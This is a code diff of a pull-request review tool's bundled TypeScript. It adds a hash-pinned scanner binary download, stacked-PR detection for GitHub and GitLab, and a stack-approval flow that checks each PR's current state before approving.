  // packages/engine/src/risk/scanners/installScanners.ts
8018
9659
  const ArchiveKind = {
8019
9660
  TarGz: "tarGz",
@@ -8124,6 +9765,30 @@ const BINARY_PINS = [
8124
9765
  sha256: "d185f726bdaf92df78273217dfdd24ebcd6b0ef48cf3ce776ff5762b6e138c99"
8125
9766
  }
8126
9767
  }
9768
+ },
9769
+ {
9770
+ binary: "poutine",
9771
+ version: "1.1.6",
9772
+ baseUrl: "https://github.com/boostsecurityio/poutine/releases/download/v1.1.6",
9773
+ archive: ArchiveKind.TarGz,
9774
+ assets: {
9775
+ "darwin-arm64": {
9776
+ file: "poutine_Darwin_arm64.tar.gz",
9777
+ sha256: "9384f02eeefb4d0778fc61ee4c675e15898b9b01c9cf821dc854d702c4e8a6b2"
9778
+ },
9779
+ "darwin-x64": {
9780
+ file: "poutine_Darwin_x86_64.tar.gz",
9781
+ sha256: "27c9b86bd12db19e27c05c22a42dc44492dd00ed2ab7287900b28cd2effb94d3"
9782
+ },
9783
+ "linux-arm64": {
9784
+ file: "poutine_Linux_arm64.tar.gz",
9785
+ sha256: "460c90300c6329106b551c150682d12e457365f6436a6cbbd08fe79eb9a98131"
9786
+ },
9787
+ "linux-x64": {
9788
+ file: "poutine_Linux_x86_64.tar.gz",
9789
+ sha256: "abde716599a65608b023a69ed9316e5f083a7bca48612151c2720835883757ea"
9790
+ }
9791
+ }
8127
9792
  }
8128
9793
  ];
8129
9794
  const SEMGREP_VERSION = "1.183.0";
@@ -8133,7 +9798,6 @@ const SEMGREP_COMPLETE_MARKER = ".complete";
8133
9798
  const SEMGREP_UNSUPPORTED_PLATFORMS = /* @__PURE__ */ new Set(["win32"]);
8134
9799
  const HAS_SUPPORTED_PYTHON = "import sys; sys.exit(sys.version_info < (3, 10))";
8135
9800
  const NEEDS_PYTHON = "it needs Python 3.10 or later, with the venv module";
8136
- const DOWNLOAD_TIMEOUT_MS = 12e4;
8137
9801
  const COMMAND_TIMEOUT_MS = 6e5;
8138
9802
  const EXECUTABLE_MODE = 493;
8139
9803
  const LOCK_HASH_CHARS = 12;
@@ -8262,11 +9926,6 @@ async function installSemgrep(tools, deps) {
8262
9926
  await writeFile(marker, "");
8263
9927
  return executable;
8264
9928
  }
8265
- async function download(url) {
8266
- const response = await fetch(url, { signal: AbortSignal.timeout(DOWNLOAD_TIMEOUT_MS) });
8267
- if (!response.ok) throw new Error(`${url} responded ${response.status}`);
8268
- return Buffer.from(await response.arrayBuffer());
8269
- }
8270
9929
  function run(command, args) {
8271
9930
  return new Promise((resolvePromise, reject) => {
8272
9931
  execFile(command, [...args], {
@@ -8280,6 +9939,11 @@ function run(command, args) {
8280
9939
  }
8281
9940
  /** Installs for this machine, into the folder scanners are run from. Quick when they're all there. */
8282
9941
  function installScannersHere(log = console.log) {
9942
+ const download = (url) => downloadWithRetries(url, {
9943
+ fetch,
9944
+ wait: async (ms) => void await setTimeout(ms),
9945
+ log
9946
+ });
8283
9947
  return installScanners(MANAGED_SCANNERS_ROOT, {
8284
9948
  download,
8285
9949
  run,
@@ -8483,6 +10147,102 @@ async function findMarked(api, marker) {
8483
10147
  if (comments.length < 100) return void 0;
8484
10148
  }
8485
10149
  }
10150
+ // packages/providers/src/stack.ts
10151
+ /**
10152
+ * Finds a stack by following branches, for hosts or repositories without stacks of their own.
10153
+ * Walks down through the open PR whose head is each base, then up through the open PR based on
10154
+ * each head. Wherever the chain is ambiguous it stops, since a stack is one line of PRs.
10155
+ */
10156
+ async function walkStack(start, open) {
10157
+ const reviewed = start.pullRequest.member;
10158
+ const seen = /* @__PURE__ */ new Set([reviewed.number]);
10159
+ const below = await membersBelow(start, open, seen);
10160
+ const above = await membersAbove(start.pullRequest, open, seen, 20 - below.length - 1);
10161
+ const members = [
10162
+ ...below,
10163
+ reviewed,
10164
+ ...above.members
10165
+ ];
10166
+ if (members.length < 2) return void 0;
10167
+ return {
10168
+ source: StackSource.Branches,
10169
+ trunk: below.at(0)?.baseRef ?? reviewed.baseRef,
10170
+ members,
10171
+ leftOut: above.leftOut
10172
+ };
10173
+ }
10174
+ async function membersBelow(start, open, seen) {
10175
+ const below = [];
10176
+ let base = start.pullRequest.member.baseRef;
10177
+ while (base !== start.defaultBranch && below.length < 19) {
10178
+ const [parent, ...others] = (await open.withHead(base)).filter((candidate) => candidate.headInRepository && !seen.has(candidate.member.number));
10179
+ if (parent === void 0 || others.length > 0) break;
10180
+ seen.add(parent.member.number);
10181
+ below.unshift(parent.member);
10182
+ base = parent.member.baseRef;
10183
+ }
10184
+ return below;
10185
+ }
10186
+ async function membersAbove(start, open, seen, room) {
10187
+ const members = [];
10188
+ let top = start;
10189
+ while (top.headInRepository && members.length < room) {
10190
+ const children = (await open.withBase(top.member.headRef)).filter((candidate) => !seen.has(candidate.member.number));
10191
+ const [child, ...others] = children;
10192
+ if (child === void 0) break;
10193
+ if (others.length > 0) return {
10194
+ members,
10195
+ leftOut: children.slice(0, 20).map((candidate) => candidate.member)
10196
+ };
10197
+ seen.add(child.member.number);
10198
+ members.push(child.member);
10199
+ top = child;
10200
+ }
10201
+ return {
10202
+ members,
10203
+ leftOut: []
10204
+ };
10205
+ }
10206
+ /**
10207
+ * A stack from the host's own feature, bottom first. A longer one than Walkdiff takes is cut to
10208
+ * the members around the reviewed PR, so that one stays in it.
10209
+ */
10210
+ function stackFromHost(ordered, reviewed) {
10211
+ const members = keptAround(ordered, ordered.findIndex((member) => member.number === reviewed));
10212
+ const bottom = members.at(0);
10213
+ return bottom === void 0 || members.length < 2 ? void 0 : {
10214
+ source: StackSource.Host,
10215
+ trunk: bottom.baseRef,
10216
+ members,
10217
+ leftOut: []
10218
+ };
10219
+ }
10220
+ /** The members of a host's stack Walkdiff takes: all of them, or the limit's worth centred on `index`. Empty when `index` is -1. */
10221
+ function keptAround(ordered, index) {
10222
+ if (index === -1) return [];
10223
+ const first = Math.max(0, Math.min(index - Math.floor(10), ordered.length - 20));
10224
+ return ordered.slice(first, first + 20);
10225
+ }
10226
+ /**
10227
+ * Puts members in stack order, bottom first, by following each one's head to the member based
10228
+ * on it. Undefined when they don't form a single chain. Used where a host's own order isn't
10229
+ * reliable: GitLab documents its stack as top first and without the MR itself, and gitlab.com
10230
+ * answered bottom first and with it.
10231
+ */
10232
+ function inStackOrder(members) {
10233
+ const distinct = [...new Map(members.map((member) => [member.number, member])).values()];
10234
+ const heads = new Set(distinct.map((member) => member.headRef));
10235
+ const [bottom, ...otherBottoms] = distinct.filter((member) => !heads.has(member.baseRef));
10236
+ if (bottom === void 0 || otherBottoms.length > 0) return void 0;
10237
+ const ordered = [bottom];
10238
+ for (let top = bottom; ordered.length < distinct.length;) {
10239
+ const [next, ...others] = distinct.filter((member) => member.baseRef === top.headRef);
10240
+ if (next === void 0 || others.length > 0 || ordered.includes(next)) return void 0;
10241
+ ordered.push(next);
10242
+ top = next;
10243
+ }
10244
+ return ordered;
10245
+ }
8486
10246
  // packages/providers/src/github.ts
8487
10247
  const GITHUB_DOT_COM_ORIGIN$1 = "https://github.com";
8488
10248
  const GITHUB_DOT_COM_API = "https://api.github.com";
@@ -8504,6 +10264,43 @@ const pullSchema = z.object({
8504
10264
  base: branchTipSchema,
8505
10265
  head: branchTipSchema
8506
10266
  });
10267
+ const pullStatusSchema = z.object({
10268
+ state: z.string(),
10269
+ merged_at: z.string().nullable(),
10270
+ base: z.object({ ref: z.string() }),
10271
+ head: z.object({ sha: commitShaSchema })
10272
+ });
10273
+ const repositorySchema = z.object({ full_name: z.string() });
10274
+ /** A PR as lists give it, with what stack detection needs. */
10275
+ const listedPullSchema = z.object({
10276
+ number: z.number().int().positive(),
10277
+ title: z.string(),
10278
+ user: z.object({ login: z.string() }).nullable(),
10279
+ base: z.object({
10280
+ ref: z.string(),
10281
+ repo: repositorySchema
10282
+ }),
10283
+ head: z.object({
10284
+ ref: z.string(),
10285
+ repo: repositorySchema.nullable()
10286
+ })
10287
+ });
10288
+ const stackedPullSchema = listedPullSchema.extend({
10289
+ base: z.object({
10290
+ ref: z.string(),
10291
+ repo: repositorySchema.extend({ default_branch: z.string() })
10292
+ }),
10293
+ stack: z.object({ number: z.number().int().positive() }).nullish()
10294
+ });
10295
+ const stackSchema = z.object({
10296
+ /** Bottom first, merged and closed ones included. */
10297
+ pull_requests: z.array(z.object({
10298
+ number: z.number().int().positive(),
10299
+ state: z.string(),
10300
+ merged_at: z.string().nullable()
10301
+ })) });
10302
+ const OPEN_STATE$1 = "open";
10303
+ const PULLS_PER_PAGE = 100;
8507
10304
  const issueCommentSchema = z.object({
8508
10305
  id: z.number().int(),
8509
10306
  body: z.string().nullable()
@@ -8604,6 +10401,14 @@ var GitHubHost = class {
8604
10401
  gitAuth: this.#gitAuth()
8605
10402
  };
8606
10403
  }
10404
+ async fetchStatus() {
10405
+ const pull = await this.#get(`${this.#repoApi()}/pulls/${this.#ref.number}`, pullStatusSchema);
10406
+ return {
10407
+ state: githubState(pull),
10408
+ headSha: pull.head.sha,
10409
+ baseRef: pull.base.ref
10410
+ };
10411
+ }
8607
10412
  upsertComment(comment) {
8608
10413
  const repoApi = this.#repoApi();
8609
10414
  const commentsUrl = `${repoApi}/issues/${this.#ref.number}/comments`;
@@ -8684,6 +10489,31 @@ var GitHubHost = class {
8684
10489
  zip
8685
10490
  }]);
8686
10491
  }
10492
+ /**
10493
+ * A stack made with GitHub's own stacks comes from the host. Many teams stack with other tools,
10494
+ * so a PR outside one is still checked by following branches.
10495
+ */
10496
+ async fetchStack() {
10497
+ const repoApi = this.#repoApi();
10498
+ const pull = await this.#get(`${repoApi}/pulls/${this.#ref.number}`, stackedPullSchema);
10499
+ if (pull.stack != null) return this.#hostStack(repoApi, pull.stack.number);
10500
+ return walkStack({
10501
+ pullRequest: stackCandidate$1(pull),
10502
+ defaultBranch: pull.base.repo.default_branch
10503
+ }, this.#openPullRequests(repoApi));
10504
+ }
10505
+ async #hostStack(repoApi, stackNumber) {
10506
+ const open = (await this.#get(`${repoApi}/stacks/${stackNumber}`, stackSchema)).pull_requests.filter((pull) => pull.state === OPEN_STATE$1 && pull.merged_at === null).map((pull) => pull.number);
10507
+ const kept = keptAround(open, open.indexOf(this.#ref.number));
10508
+ return stackFromHost((await Promise.all(kept.map((number) => this.#get(`${repoApi}/pulls/${number}`, listedPullSchema)))).map((pull) => stackCandidate$1(pull).member), this.#ref.number);
10509
+ }
10510
+ #openPullRequests(repoApi) {
10511
+ const list = async (filter) => (await this.#get(`${repoApi}/pulls?state=${OPEN_STATE$1}&per_page=${PULLS_PER_PAGE}&${filter}`, z.array(listedPullSchema))).map(stackCandidate$1);
10512
+ return {
10513
+ withHead: (branch) => list(`head=${encodeURIComponent(`${this.#ref.owner}:${branch}`)}`),
10514
+ withBase: (branch) => list(`base=${encodeURIComponent(branch)}`)
10515
+ };
10516
+ }
8687
10517
  async #graphql(query, variables, schema) {
8688
10518
  const url = graphqlUrl(this.#ref.webOrigin);
8689
10519
  const response = await writeJson({
@@ -8697,7 +10527,7 @@ var GitHubHost = class {
8697
10527
  schema: graphqlResponseSchema,
8698
10528
  authHint: this.#authHint
8699
10529
  });
8700
- if (response.errors !== void 0 && response.errors.length > 0) throw new HostApiError(GRAPHQL_FAILURE_STATUS, url, response.errors.map((error) => error.message).join("; "));
10530
+ if (response.errors !== void 0 && response.errors.length > 0) throw new HostApiError(GRAPHQL_FAILURE_STATUS$1, url, response.errors.map((error) => error.message).join("; "));
8701
10531
  return schema.parse(response.data);
8702
10532
  }
8703
10533
  #repoApi() {
@@ -8745,12 +10575,29 @@ const graphqlResponseSchema = z.object({
8745
10575
  data: z.unknown().optional(),
8746
10576
  errors: z.array(z.object({ message: z.string() })).optional()
8747
10577
  });
8748
- const GRAPHQL_FAILURE_STATUS = 502;
10578
+ const GRAPHQL_FAILURE_STATUS$1 = 502;
8749
10579
  /** GitHub only accepts comments on lines, so anything without one joins the review's own text. */
8750
10580
  function withUnplacedComments$1(review) {
8751
10581
  const unplaced = review.comments.filter((comment) => !isPlacedComment(comment)).map((comment) => `**\`${comment.label}\`** in \`${comment.path}\`\n\n${comment.body}`);
8752
10582
  return [review.body, ...unplaced].filter((part) => part !== "").join("\n\n---\n\n");
8753
10583
  }
10584
+ /** GitHub calls a merged PR closed, telling them apart only by `merged_at`. */
10585
+ function githubState(pull) {
10586
+ if (pull.merged_at !== null) return PullRequestState.Merged;
10587
+ return pull.state === OPEN_STATE$1 ? PullRequestState.Open : PullRequestState.Closed;
10588
+ }
10589
+ function stackCandidate$1(pull) {
10590
+ return {
10591
+ member: {
10592
+ number: pull.number,
10593
+ title: pull.title,
10594
+ author: pull.user?.login ?? DELETED_USER_LOGIN,
10595
+ headRef: pull.head.ref,
10596
+ baseRef: pull.base.ref
10597
+ },
10598
+ headInRepository: pull.head.repo?.full_name.toLowerCase() === pull.base.repo.full_name.toLowerCase()
10599
+ };
10600
+ }
8754
10601
  function graphqlUrl(webOrigin) {
8755
10602
  return webOrigin === GITHUB_DOT_COM_ORIGIN$1 ? `${GITHUB_DOT_COM_API}/graphql` : `${webOrigin}/api/graphql`;
8756
10603
  }
@@ -8782,6 +10629,7 @@ function githubReviewComment(comment) {
8782
10629
  }
8783
10630
  // packages/providers/src/gitlab.ts
8784
10631
  const GITLAB_GIT_USERNAME = "oauth2";
10632
+ const APPROVAL_REFUSED_STATUS = 401;
8785
10633
  const AUTH_HINT = "Set GITLAB_TOKEN to a token with the read_api and read_repository scopes; posting comments needs the api scope.";
8786
10634
  const mergeRequestSchema = z.object({
8787
10635
  web_url: z.url(),
@@ -8797,6 +10645,49 @@ const mergeRequestSchema = z.object({
8797
10645
  start_sha: commitShaSchema
8798
10646
  }).nullable()
8799
10647
  });
10648
+ const mergeRequestStatusSchema = z.object({
10649
+ state: z.string(),
10650
+ target_branch: z.string(),
10651
+ sha: commitShaSchema,
10652
+ diff_refs: z.object({ head_sha: commitShaSchema }).nullable()
10653
+ });
10654
+ const MERGED_STATE = "merged";
10655
+ const CLOSED_STATE = "closed";
10656
+ /** A merge request as lists give it, with what stack detection needs. */
10657
+ const listedMergeRequestSchema = z.object({
10658
+ iid: z.number().int().positive(),
10659
+ title: z.string(),
10660
+ author: z.object({ username: z.string() }),
10661
+ source_branch: z.string(),
10662
+ target_branch: z.string(),
10663
+ source_project_id: z.number().int(),
10664
+ target_project_id: z.number().int()
10665
+ });
10666
+ const projectSchema = z.object({ default_branch: z.string() });
10667
+ const OPEN_STATE = "opened";
10668
+ const MERGE_REQUESTS_PER_PAGE = 100;
10669
+ const STACK_MEMBER_FIELDS = "iid title author { username } sourceBranch targetBranch";
10670
+ const STACK_QUERY = `query($project: ID!, $iid: String!) {
10671
+ project(fullPath: $project) { mergeRequest(iid: $iid) { ${STACK_MEMBER_FIELDS} stack { ${STACK_MEMBER_FIELDS} } } }
10672
+ }`;
10673
+ const stackMemberSchema = z.object({
10674
+ iid: z.coerce.number().int().positive(),
10675
+ title: z.string(),
10676
+ author: z.object({ username: z.string() }),
10677
+ sourceBranch: z.string(),
10678
+ targetBranch: z.string()
10679
+ });
10680
+ const stackResponseSchema = z.object({
10681
+ data: z.object({ project: z.object({ mergeRequest: stackMemberSchema.extend({ stack: z.array(stackMemberSchema).nullable() }).nullable() }).nullable() }).nullish(),
10682
+ errors: z.array(z.object({
10683
+ message: z.string(),
10684
+ extensions: z.object({ code: z.string().optional() }).optional()
10685
+ })).optional()
10686
+ });
10687
+ const UNDEFINED_FIELD_ERROR = "undefinedField";
10688
+ const GRAPHQL_FAILURE_STATUS = 502;
10689
+ const NOT_FOUND_STATUS = 404;
10690
+ const UNUSABLE = { usable: false };
8800
10691
  const noteSchema = z.object({
8801
10692
  id: z.number().int(),
8802
10693
  body: z.string().nullable()
@@ -8823,6 +10714,8 @@ const discussionSchema = z.object({
8823
10714
  }))
8824
10715
  });
8825
10716
  const approvalsSchema = z.object({ approved_by: z.array(z.object({ user: userSchema })) });
10717
+ /** Only `user_has_approved`: on GitLab Free, `user_can_approve` reads false for merge requests the user can approve. */
10718
+ const ownApprovalSchema = z.object({ user_has_approved: z.boolean() });
8826
10719
  const reviewersSchema = z.array(z.object({
8827
10720
  user: userSchema,
8828
10721
  state: z.string().nullable().optional()
@@ -8895,6 +10788,14 @@ var GitLabHost = class {
8895
10788
  gitAuth: this.#gitAuth()
8896
10789
  };
8897
10790
  }
10791
+ async fetchStatus() {
10792
+ const mergeRequest = await this.#get(this.#mergeRequestApi(), mergeRequestStatusSchema);
10793
+ return {
10794
+ state: gitlabState(mergeRequest.state),
10795
+ headSha: mergeRequest.diff_refs?.head_sha ?? mergeRequest.sha,
10796
+ baseRef: mergeRequest.target_branch
10797
+ };
10798
+ }
8898
10799
  upsertComment(comment) {
8899
10800
  const notesUrl = `${this.#mergeRequestApi()}/notes`;
8900
10801
  return upsertMarkedComment({
@@ -8960,9 +10861,25 @@ var GitLabHost = class {
8960
10861
  if (text !== "") await this.#write("POST", `${api}/draft_notes`, { note: text });
8961
10862
  const reviewerState = REVIEWER_PUBLISH_STATES[review.event];
8962
10863
  await this.#write("POST", `${api}/draft_notes/bulk_publish`, reviewerState === void 0 ? {} : { reviewer_state: reviewerState });
8963
- if (review.event === ReviewEvent.Approve) await this.#write("POST", `${api}/approve`, { sha: review.headSha });
10864
+ if (review.event === ReviewEvent.Approve) await this.#approve(api, review.headSha);
8964
10865
  return { url: mergeRequest.web_url };
8965
10866
  }
10867
+ /**
10868
+ * GitLab answers 401 to any approval it won't take, which reads as a token problem. By now the
10869
+ * token has posted the comments, so a 401 is GitLab refusing the approval itself. One case is
10870
+ * avoided: a second approval from the same user, since the first still stands and a retried
10871
+ * stack approval asks again.
10872
+ */
10873
+ async #approve(api, headSha) {
10874
+ const { user_has_approved: approved } = await this.#get(`${api}/approvals`, ownApprovalSchema);
10875
+ if (approved) return;
10876
+ try {
10877
+ await this.#write("POST", `${api}/approve`, { sha: headSha });
10878
+ } catch (error) {
10879
+ if (!(error instanceof HostApiError) || error.status !== APPROVAL_REFUSED_STATUS) throw error;
10880
+ throw new HostApiError(error.status, error.url, "GitLab didn't take the approval. The project may not let you approve this merge request, for example as its author or as someone who added commits to it.");
10881
+ }
10882
+ }
8966
10883
  async replyToThread(threadId, body) {
8967
10884
  await this.#write("POST", `${this.#mergeRequestApi()}/discussions/${encodeURIComponent(threadId)}/notes`, { body });
8968
10885
  }
@@ -8988,26 +10905,74 @@ var GitLabHost = class {
8988
10905
  }))
8989
10906
  };
8990
10907
  }
8991
- #get(url, schema) {
8992
- return getJson({
10908
+ /**
10909
+ * GitLab's own stacks are found from branches, as Walkdiff would, but only between merge requests
10910
+ * by the same author, so its answer wins where there is one. Instances older than 19.1 have none.
10911
+ */
10912
+ async fetchStack() {
10913
+ const answer = await this.#hostStack();
10914
+ return answer.usable ? answer.stack : this.#walkStack();
10915
+ }
10916
+ async #hostStack() {
10917
+ const url = `${this.#ref.webOrigin}/api/graphql`;
10918
+ const response = await writeJson({
10919
+ method: "POST",
8993
10920
  url,
10921
+ body: {
10922
+ query: STACK_QUERY,
10923
+ variables: {
10924
+ project: this.#ref.projectPath,
10925
+ iid: String(this.#ref.number)
10926
+ }
10927
+ },
8994
10928
  headers: this.#headers(),
8995
- schema,
10929
+ schema: stackResponseSchema,
8996
10930
  authHint: this.#authHint
8997
10931
  });
10932
+ const errors = response.errors ?? [];
10933
+ if (errors.some((error) => error.extensions?.code === UNDEFINED_FIELD_ERROR)) return UNUSABLE;
10934
+ if (errors.length > 0) throw new HostApiError(GRAPHQL_FAILURE_STATUS, url, errors.map((error) => error.message).join("; "));
10935
+ const mergeRequest = response.data?.project?.mergeRequest;
10936
+ if (mergeRequest == null) throw new HostApiError(NOT_FOUND_STATUS, url, this.#authHint);
10937
+ if (mergeRequest.stack === null) return UNUSABLE;
10938
+ if (mergeRequest.stack.length === 0) return {
10939
+ usable: true,
10940
+ stack: void 0
10941
+ };
10942
+ const ordered = inStackOrder([mergeRequest, ...mergeRequest.stack].map(fromGraphql));
10943
+ return ordered === void 0 ? UNUSABLE : {
10944
+ usable: true,
10945
+ stack: stackFromHost(ordered, this.#ref.number)
10946
+ };
8998
10947
  }
8999
- async fetchCoverageArchives(headSha) {
9000
- const { webOrigin, projectPath } = this.#ref;
9001
- const projectApi = `${webOrigin}/api/v4/projects/${encodeURIComponent(projectPath)}`;
9002
- const read = (url, schema) => getJson({
10948
+ async #walkStack() {
10949
+ const projectApi = this.#projectApi();
10950
+ const [mergeRequest, project] = await Promise.all([this.#get(this.#mergeRequestApi(), listedMergeRequestSchema), this.#get(projectApi, projectSchema)]);
10951
+ return walkStack({
10952
+ pullRequest: stackCandidate(mergeRequest),
10953
+ defaultBranch: project.default_branch
10954
+ }, this.#openMergeRequests(projectApi));
10955
+ }
10956
+ #openMergeRequests(projectApi) {
10957
+ const list = async (filter) => (await this.#get(`${projectApi}/merge_requests?state=${OPEN_STATE}&per_page=${MERGE_REQUESTS_PER_PAGE}&${filter}`, z.array(listedMergeRequestSchema))).map(stackCandidate);
10958
+ return {
10959
+ withHead: (branch) => list(`source_branch=${encodeURIComponent(branch)}`),
10960
+ withBase: (branch) => list(`target_branch=${encodeURIComponent(branch)}`)
10961
+ };
10962
+ }
10963
+ #get(url, schema) {
10964
+ return getJson({
9003
10965
  url,
9004
10966
  headers: this.#headers(),
9005
10967
  schema,
9006
10968
  authHint: this.#authHint
9007
10969
  });
9008
- const [pipeline] = await read(`${projectApi}/pipelines?sha=${encodeURIComponent(headSha)}&per_page=1`, pipelinesSchema);
10970
+ }
10971
+ async fetchCoverageArchives(headSha) {
10972
+ const projectApi = this.#projectApi();
10973
+ const [pipeline] = await this.#get(`${projectApi}/pipelines?sha=${encodeURIComponent(headSha)}&per_page=1`, pipelinesSchema);
9009
10974
  if (pipeline === void 0) return [];
9010
- const jobs = await read(`${projectApi}/pipelines/${pipeline.id}/jobs?per_page=100`, pipelineJobsSchema);
10975
+ const jobs = await this.#get(`${projectApi}/pipelines/${pipeline.id}/jobs?per_page=100`, pipelineJobsSchema);
9011
10976
  const declared = jobs.filter(declaresCoverageReport);
9012
10977
  const named = jobs.filter((job) => !declaresCoverageReport(job) && COVERAGE_ARCHIVE_NAME.test(job.name));
9013
10978
  const wanted = [...declared, ...named].filter((job) => job.artifacts_file != null && job.artifacts_file.size <= 209715200).slice(0, 5);
@@ -9024,9 +10989,12 @@ var GitLabHost = class {
9024
10989
  zip
9025
10990
  }]);
9026
10991
  }
10992
+ #projectApi() {
10993
+ const { webOrigin, projectPath } = this.#ref;
10994
+ return `${webOrigin}/api/v4/projects/${encodeURIComponent(projectPath)}`;
10995
+ }
9027
10996
  #mergeRequestApi() {
9028
- const { webOrigin, projectPath, number } = this.#ref;
9029
- return `${webOrigin}/api/v4/projects/${encodeURIComponent(projectPath)}/merge_requests/${number}`;
10997
+ return `${this.#projectApi()}/merge_requests/${this.#ref.number}`;
9030
10998
  }
9031
10999
  async #write(method, url, body) {
9032
11000
  await writeIgnoringReply({
@@ -9047,6 +11015,32 @@ var GitLabHost = class {
9047
11015
  };
9048
11016
  }
9049
11017
  };
11018
+ /** GitLab's "locked" is an open merge request in the middle of being merged. */
11019
+ function gitlabState(state) {
11020
+ if (state === MERGED_STATE) return PullRequestState.Merged;
11021
+ return state === CLOSED_STATE ? PullRequestState.Closed : PullRequestState.Open;
11022
+ }
11023
+ function stackCandidate(mergeRequest) {
11024
+ return {
11025
+ member: {
11026
+ number: mergeRequest.iid,
11027
+ title: mergeRequest.title,
11028
+ author: mergeRequest.author.username,
11029
+ headRef: mergeRequest.source_branch,
11030
+ baseRef: mergeRequest.target_branch
11031
+ },
11032
+ headInRepository: mergeRequest.source_project_id === mergeRequest.target_project_id
11033
+ };
11034
+ }
11035
+ function fromGraphql(mergeRequest) {
11036
+ return {
11037
+ number: mergeRequest.iid,
11038
+ title: mergeRequest.title,
11039
+ author: mergeRequest.author.username,
11040
+ headRef: mergeRequest.sourceBranch,
11041
+ baseRef: mergeRequest.targetBranch
11042
+ };
11043
+ }
9050
11044
  /** Comments without a line, and the summary, go together as one note. */
9051
11045
  function withUnplacedComments(review) {
9052
11046
  const unplaced = review.comments.filter((comment) => !isPlacedComment(comment)).map((comment) => `**\`${comment.label}\`** in \`${comment.path}\`\n\n${comment.body}`);
@@ -9548,6 +11542,167 @@ async function attachCoverage(store, id, reports, write) {
9548
11542
  });
9549
11543
  return store.get(id);
9550
11544
  }
11545
+ // packages/cli/src/app/stackStatus.ts
11546
+ /**
11547
+ * A grouped stack with each member's state read from its host now, bottom first. One member's
11548
+ * host failing is shown on that member, so the rest of the stack still reads. Undefined if there
11549
+ * is no such stack.
11550
+ */
11551
+ async function readStackView(store, stackId, hostFor) {
11552
+ const stack = store.stack(stackId);
11553
+ if (stack === void 0) return void 0;
11554
+ const members = await Promise.all(store.stackMembers(stackId).map((member) => memberStatus(member, hostFor)));
11555
+ return {
11556
+ id: stack.id,
11557
+ trunk: stack.trunk,
11558
+ members
11559
+ };
11560
+ }
11561
+ async function memberStatus(member, hostFor) {
11562
+ try {
11563
+ const host = await hostFor(parsePullRequestUrl(member.url));
11564
+ const [status, conversation] = await Promise.all([host.fetchStatus(), host.fetchConversation()]);
11565
+ return {
11566
+ check: MemberCheck.Checked,
11567
+ reviewId: member.id,
11568
+ status,
11569
+ reportChange: reportChange(member.reportHead, status),
11570
+ reviewers: conversation.reviewers
11571
+ };
11572
+ } catch (error) {
11573
+ if (!(error instanceof HostApiError)) throw error;
11574
+ return {
11575
+ check: MemberCheck.Failed,
11576
+ reviewId: member.id,
11577
+ error: error.message
11578
+ };
11579
+ }
11580
+ }
11581
+ /**
11582
+ * Why an open PR's report is out of date. A new base wins over new commits: rebasing onto the
11583
+ * new base usually brings both, and the base is what moves the whole diff.
11584
+ */
11585
+ function reportChange(analyzed, status) {
11586
+ if (status.state !== PullRequestState.Open) return ReportChange.None;
11587
+ if (analyzed === null) return ReportChange.NoReport;
11588
+ if (analyzed.baseRef !== status.baseRef) return ReportChange.Retargeted;
11589
+ return analyzed.headSha === status.headSha ? ReportChange.None : ReportChange.NewCommits;
11590
+ }
11591
+ // packages/cli/src/app/approveStack.ts
11592
+ const ApproveKind = {
11593
+ NoStack: "noStack",
11594
+ Blocked: "blocked",
11595
+ Ready: "ready",
11596
+ Done: "done"
11597
+ };
11598
+ /**
11599
+ * Approves the members asked for, bottom first, once `checkApproval` passes for all of them. Each
11600
+ * approval is posted on its own: a host refusing one doesn't stop the rest, since approvals already
11601
+ * posted can't safely be taken back, and each stands for its own PR.
11602
+ */
11603
+ async function approveStack(store, stackId, request, hostFor) {
11604
+ const check = await checkApproval(store, stackId, request, hostFor);
11605
+ if (check.kind !== ApproveKind.Ready) return check;
11606
+ const results = [];
11607
+ for (const checked of check.checked) results.push(await approve(checked, request.body));
11608
+ return {
11609
+ kind: ApproveKind.Done,
11610
+ results
11611
+ };
11612
+ }
11613
+ /**
11614
+ * Checks every member asked for with its host, without posting. Any one that has moved on from the
11615
+ * commit the reviewer saw blocks them all, so a stack is never left part-approved by surprise.
11616
+ */
11617
+ async function checkApproval(store, stackId, request, hostFor) {
11618
+ if (store.stack(stackId) === void 0) return { kind: ApproveKind.NoStack };
11619
+ const members = store.stackMembers(stackId);
11620
+ const inStack = new Set(members.map((member) => member.id));
11621
+ const strangers = request.members.filter(({ reviewId }) => !inStack.has(reviewId)).map(({ reviewId }) => ({
11622
+ reviewId,
11623
+ reason: "It isn't in this stack."
11624
+ }));
11625
+ if (strangers.length > 0) return {
11626
+ kind: ApproveKind.Blocked,
11627
+ blocked: strangers
11628
+ };
11629
+ const seen = new Map(request.members.map(({ reviewId, headSha }) => [reviewId, headSha]));
11630
+ const preflights = await Promise.all(members.flatMap((member) => {
11631
+ const seenHead = seen.get(member.id);
11632
+ return seenHead === void 0 ? [] : [preflight(member, seenHead, hostFor)];
11633
+ }));
11634
+ const blocked = preflights.flatMap((result) => result.passed ? [] : [result.blocked]);
11635
+ if (blocked.length > 0) return {
11636
+ kind: ApproveKind.Blocked,
11637
+ blocked
11638
+ };
11639
+ return {
11640
+ kind: ApproveKind.Ready,
11641
+ checked: preflights.flatMap((result) => result.passed ? [result.checked] : [])
11642
+ };
11643
+ }
11644
+ async function preflight(member, seenHead, hostFor) {
11645
+ const block = (reason) => ({
11646
+ passed: false,
11647
+ blocked: {
11648
+ reviewId: member.id,
11649
+ reason
11650
+ }
11651
+ });
11652
+ const analyzed = member.reportHead;
11653
+ if (analyzed === null) return block(NO_REPORT);
11654
+ try {
11655
+ const host = await hostFor(parsePullRequestUrl(member.url));
11656
+ const reason = blockReason(analyzed, await host.fetchStatus(), seenHead);
11657
+ return reason === void 0 ? {
11658
+ passed: true,
11659
+ checked: {
11660
+ member,
11661
+ host,
11662
+ analyzed
11663
+ }
11664
+ } : block(reason);
11665
+ } catch (error) {
11666
+ if (!(error instanceof HostApiError)) throw error;
11667
+ return block(`Walkdiff couldn't check it: ${error.message}`);
11668
+ }
11669
+ }
11670
+ const NO_REPORT = "It has no report yet.";
11671
+ /**
11672
+ * Why approving a member must wait. Its report must describe what the host has now, and be the
11673
+ * one the reviewer saw when they decided.
11674
+ */
11675
+ function blockReason(analyzed, status, seenHead) {
11676
+ if (status.state !== PullRequestState.Open) return `It's ${status.state}.`;
11677
+ switch (reportChange(analyzed, status)) {
11678
+ case ReportChange.NoReport: return NO_REPORT;
11679
+ case ReportChange.NewCommits: return "It has new commits. Refresh it and look again.";
11680
+ case ReportChange.Retargeted: return `It merges into ${status.baseRef} now, so its diff changed. Refresh it and look again.`;
11681
+ case ReportChange.None: return analyzed.headSha === seenHead ? void 0 : "Its report changed after you opened this. Look again.";
11682
+ }
11683
+ }
